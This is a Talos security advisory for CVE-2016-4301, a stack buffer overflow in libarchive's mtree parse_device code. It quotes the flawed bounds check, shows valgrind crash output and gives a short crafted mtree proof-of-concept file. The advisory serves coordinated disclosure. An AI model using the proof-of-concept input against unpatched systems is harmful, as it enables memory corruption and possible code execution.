Talos Vulnerability Report

TALOS-2016-0153

Libarchive mtree parse_device Code Execution Vulnerability

June 19, 2016
CVE Number

CVE-2016-4301

SUMMARY

An exploitable stack based buffer overflow vulnerability exists in the mtree parse_device functionality of libarchive. A specially crafted mtree file can cause a buffer overflow resulting in memory corruption/code execution. An attacker can send a malformed file to trigger this vulnerability.

TESTED VERSIONS

libarchive 3.1.2

PRODUCT URLs

https://github.com/libarchive/libarchive

CVSSv3 SCORE

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0

Details

Vulnerable code exists in mtree support format module:

libarchive\archive_read_support_format_mtree.c:
Line 1353	static int
Line 1354	parse_device(dev_t *pdev, struct archive *a, char *val)
Line 1355	{
Line 1356	#define MAX_PACK_ARGS 3
Line 1357		unsigned long numbers[MAX_PACK_ARGS];
Line 1358		char *p, *dev;
Line 1359		int argc;
Line 1360		pack_t *pack;
Line 1361		dev_t result;
Line 1362		const char *error = NULL;
(...)
Line 1377		while ((p = la_strsep(&dev, ",")) != NULL) {
Line 1378			if (*p == '\0') {
Line 1379				archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1380				    "Missing number");
Line 1381				return ARCHIVE_WARN;
Line 1382			}
Line 1383			numbers[argc++] = (unsigned long)mtree_atol(&p);
Line 1384			if (argc > MAX_PACK_ARGS) {
Line 1385				archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1386				    "Too many arguments");
Line 1387				return ARCHIVE_WARN;
Line 1388			}
Line 1389		}

In line 1357 we see definition of static buffer prepared to contain 3 elements. Next in while loop in lines 1377-1389 exist condition (line 1384) which should protect against overflowing “numbers” buffer but this condition is wrong and allows to overflow buffer with one element. Depending on platform and architecture, size of overwrite can be 4 or 8 bytes with content fully controlled.

CRASH INFORMATION

icewall@ubuntu:~/bugs/libarchive-gdb$ uname -a
Linux ubuntu 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015      
x86_64 x86_64 x86_64 GNU/Linux

icewall@ubuntu:~/bugs/libarchive-gdb$ valgrind --tool=exp-sgcheck bin/ext_mtree    
libarchive_mtree_parse_device_buffer_overflow.mtree
==42519== exp-sgcheck, a stack and global array overrun detector
==42519== NOTE: This is an Experimental-Class Valgrind Tool
==42519== Copyright (C) 2003-2013, and GNU GPL'd, by OpenWorks Ltd et al.
==42519== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info
==42519== 
==42519== Invalid write of size 8
==42519==    at 0x432A8B: parse_device (archive_read_support_format_mtree.c:1383)
==42519==    by 0x432D92: parse_keyword (archive_read_support_format_mtree.c:1469)
==42519==    by 0x4328A4: parse_line (archive_read_support_format_mtree.c:1318)
==42519==    by 0x432026: parse_file (archive_read_support_format_mtree.c:1097)
==42519==    by 0x431F4B: read_header (archive_read_support_format_mtree.c:1064)
==42519==    by 0x407934: _archive_read_next_header2 (archive_read.c:645)
==42519==    by 0x407A07: _archive_read_next_header (archive_read.c:683)
==42519==    by 0x44FEFF: archive_read_next_header (archive_virtual.c:148)
==42519==    by 0x402F52: extract (ext.c:55)
==42519==    by 0x403048: main (ext.c:83)
==42519==  Address 0xffefffb28 expected vs actual:
==42519==  Expected: stack array "numbers" of size 24 in this frame
==42519==  Actual:   unknown
==42519==  Actual:   is 0 after Expected
==42519== 
Too many arguments
==42519== 
==42519== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 4 from 4)

EXPLOIT PROOF-OF-CONCEPT

#mtree
fil type=file device=386bsd,1,2,3,4702111234474983745 

TIMELINE

2016-04-19 - Vendor Disclosure
2016-06-18 - Public Release

Credit

Discovered by Marcin ‘Icewall’ Noga of Cisco TALOS